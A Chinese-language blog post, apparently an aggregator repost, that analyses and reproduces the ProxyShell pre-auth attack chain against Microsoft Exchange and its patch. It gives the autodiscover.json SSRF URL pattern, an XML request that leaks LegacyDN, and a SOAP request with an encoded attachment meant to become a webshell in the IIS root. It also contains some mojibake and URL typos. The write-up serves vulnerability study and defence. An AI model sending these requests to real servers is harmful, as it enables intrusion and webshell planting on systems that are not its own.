前言

近日，有研究員公布了自己針對微軟的Exchange服務的攻擊鏈的3種利用方式。微軟官方雖然出了補丁，但是出于種種原因還是有較多用戶不予理會，導致現(xiàn)在仍然有許多有漏洞的服務暴露在公網中，本文主要在原理上簡要分析復現(xiàn)了最近的ProxyShell利用鏈。

1.ProxyLogon: The most well-known pre-auth RCE chain

2.ProxyOracle: A plaintext-password recovery attacking chain

3.ProxyShell: The pre-auth RCE chain we demonstrated at Pwn2Own 2021

漏洞復現(xiàn)及分析

復現(xiàn)環(huán)境：
· Exchange Server 2016 Builder 15.1.1531
受影響版本：
· Exchange Server 2013 Versions < Builder 15.0.1497.012
· Exchange Server 2016 CU18 < Builder 15.1.2106.013
· Exchange Server 2016 CU19 < Builder 15.1.2176.009
· Exchange Server 2019 CU7 < Builder 15.2.0721.013

利用鏈大致分兩個階段，ACL繞過和在繞過前提下的wsdl的SOAP接口利用，最終能導致RCE，利用效果圖如下：

1.ACL繞過
在ProxyLogon就存在SSRF，而ProxyShell的SSRF利用點稍有不同，但是利用原理還是一致的，在Exchange 端掛調試下斷點，調試dll代碼如下，可知URL前后解析方式如下:

解析前URL

解析后URL

https://Exchange:443/autodiscover/autodiscover.json?a=axx@foo.com/autodiscover/autodiscover.xml↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓↓ https://Exhcage:444/autodiscove/autodiscover.xml

從結果看443端口轉向 444端口，那么現(xiàn)在再去看在服務端Exchange的web站點分布情況，頁面是跑在IIS組件上的，故而看IIS上的站點分布，存在前臺服務和后臺服務，即存在80到81、443到444的映射關系。
【安全資料】

前臺服務

后臺服務
現(xiàn)在看利用的本質就是在前臺服務中存在校驗缺失，導致外面發(fā)起的請求可以以前臺服務的進程作為跳板進行后臺服務資源的訪問。

從代碼上看
Microsoft.Exchange.FrontEndHttpProxy.dll【安全資料】



偽代碼如下

GetClientUrlForProxy(){If(isExplicitLogoRequest&&IsAutodiscoverV2Request(base.url)) RemoveExplicitLogoFromUrlAbsoluteUri(AbsoluteUri,ExplicitLogoaddress) } 存在3個函數(shù) 1. GetClientUrlForProxy 2. isExplicitLogoRequest 3. IsAutodiscoverV2Request IsAutodiscoverV2Request是關鍵點，如上圖所示，在于/autodiscover.json，如果IsAutodiscoverV2Request存在就可導致URL刪除中間部分生成新的uri從而產生了如下解析，導致了SSRF

2.接口利用

Exchange的安裝目錄如下，可見軟件自身就設計了有較多的接口用于業(yè)務需求，攻擊方式正是基于如上解析方式進行ACL權限繞過，訪問銘感資源(想起幾年前的某酒店因為wsdl接口外露，被人發(fā)現(xiàn)可直接寫文件的接口直接RCE的情況)，對于接口的利用在于wsdl的SOAP XML請求的參數(shù)要求及報文格式，利用得當?shù)那闆r下，可在未授權情況下獲取配置信息(LegacyDN、SID、郵箱賬戶)、讀寫文件、命令交互等。

接口利用截圖

以獲取LegacyDN信息為例
向/autodiscover/autodiscover.json?a=foo@foo.com/autodiscover/autodiscover.xml發(fā)送如下xml請求可返回LegacyDN內容

<?xml version="1.0" encoding="utf-8"?> <Autodiscover xmlns="https://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006"><Request><EMailAddress>mara@contoso.com</EMailAddress><AcceptableResponseSchema>https://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a</AcceptableResponseSchema></Request> </Autodiscover>

而里面所需的EMailAddress參數(shù)如果未知，可使用官方包含的默認特殊系統(tǒng)郵箱。

xml格式官方文檔連接如下
https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/how-to-get-user-settings-from-exchange-by-using-autodiscover【安全資料】

其他接口對應的請求測試如下所示
獲取SID

獲取郵箱

寫入文件



實現(xiàn)寫入文件的思路大致為調用郵件接口發(fā)送郵件，在調用導出郵件接口，向指定系統(tǒng)路徑(iis根目錄)寫入webshell。由于郵件內容為PST格式，IIS解析不了，需要二次解碼，即發(fā)送之前先編碼一次，導出的時候在解碼成正常格式即可，【安全資料】
編碼方式官方文檔鏈接如下(https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-pst/5faf4800-645d-49d1-9457-2ac40eb467bd)。

在寫入文件的時候還需要構造cookie才能進行調用訪問，如果沒有cookie會返回401，所幸構造的所需要的內容可以通過SSRF獲取，然后在分析調試代碼在手工構造，發(fā)送郵件然后導出郵件?！景踩Y料】

<soap:Envelopexmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xmlns:m="http://schemas.microsoft.com/exchange/services/2006/messages"xmlns:t="http://schemas.microsoft.com/exchange/services/2006/types"xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><t:RequestServerVersion Version="Exchange2016" /><t:SerializedSecurityContext><t:UserSid>S-1-5-21-1692751536-334164737-1685896678-16656</t:UserSid><t:GroupSids><t:GroupIdentifier><t:SecurityIdentifier>S-1-5-21</t:SecurityIdentifier></t:GroupIdentifier></t:GroupSids></t:SerializedSecurityContext></soap:Header><soap:Body><m:CreateItem MessageDisposition="SaveOnly"><m:Items><t:Message><t:Subject>tsjsupqgmdciximd</t:Subject><t:Body BodyType="HTML">hello by xyy</t:Body><t:Attachments><t:FileAttachment><t:Name>f.txt</t:Name><t:IsInline>false</t:IsInline><t:IsContactPhoto>false</t:IsContactPhoto><t:Content>ldZUhrdpFDnNqQbf96nf2v+CYWdUhrdpFII5hvcGqRT/gtbahqXahoLZnl33BlQUt9MGObmp39opINOpDYzJ6Z45OTk52qWpzYy+2lz32tYUfoLaddpUKVTTDdqCD2uC9wbWqV3agskxvtrWadMG1trzRAYNMZ45OTk5IZ6V+9ZUhrdpFNk=</t:Content></t:FileAttachment></t:Attachments><t:ToRecipients><t:Mailbox><t:EmailAddress>administartor@tamail.com</t:EmailAddress></t:Mailbox></t:ToRecipients></t:Message></m:Items></m:CreateItem></soap:Body> </soap:Envelope>

調試代碼如下：
Microsoft.Exchange.Configuration.RemotePowershellBackendCmdletProxyModule.dll
序列化解密X-Rps-CAT數(shù)值的代碼如下
【安全資料】

修復原理

修復前

修復后

可以明顯看出刪除了IsAutodiscoverV2Request判斷防止SSRF的發(fā)生。
【安全資料】

總結

SSRF漏洞看似危害不大，但是只要后續(xù)攻擊鏈夠完整，一樣能發(fā)揮關鍵作用，就像這次的繞過加利用，又或是之前看過SSRF到內網漫游的利用。從流量防御的角度來看(畢竟官方的補丁也不是那么及時)，找準利用的入口點(autodiscover.json)以及其他能造成危害的接口(/ews、/ecp、/autodiscover、/powershell等等)設置相應的防御手段即可。從漏洞挖掘的角度來看，動態(tài)調試永遠是清晰體現(xiàn)流量的生命周期的一個不錯的方式。

有在學網絡安全的朋友可以關注私信我哦！！！

總結

以上是生活随笔為你收集整理的【安全漏洞】简要分析复现了最近的ProxyShell利用链的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。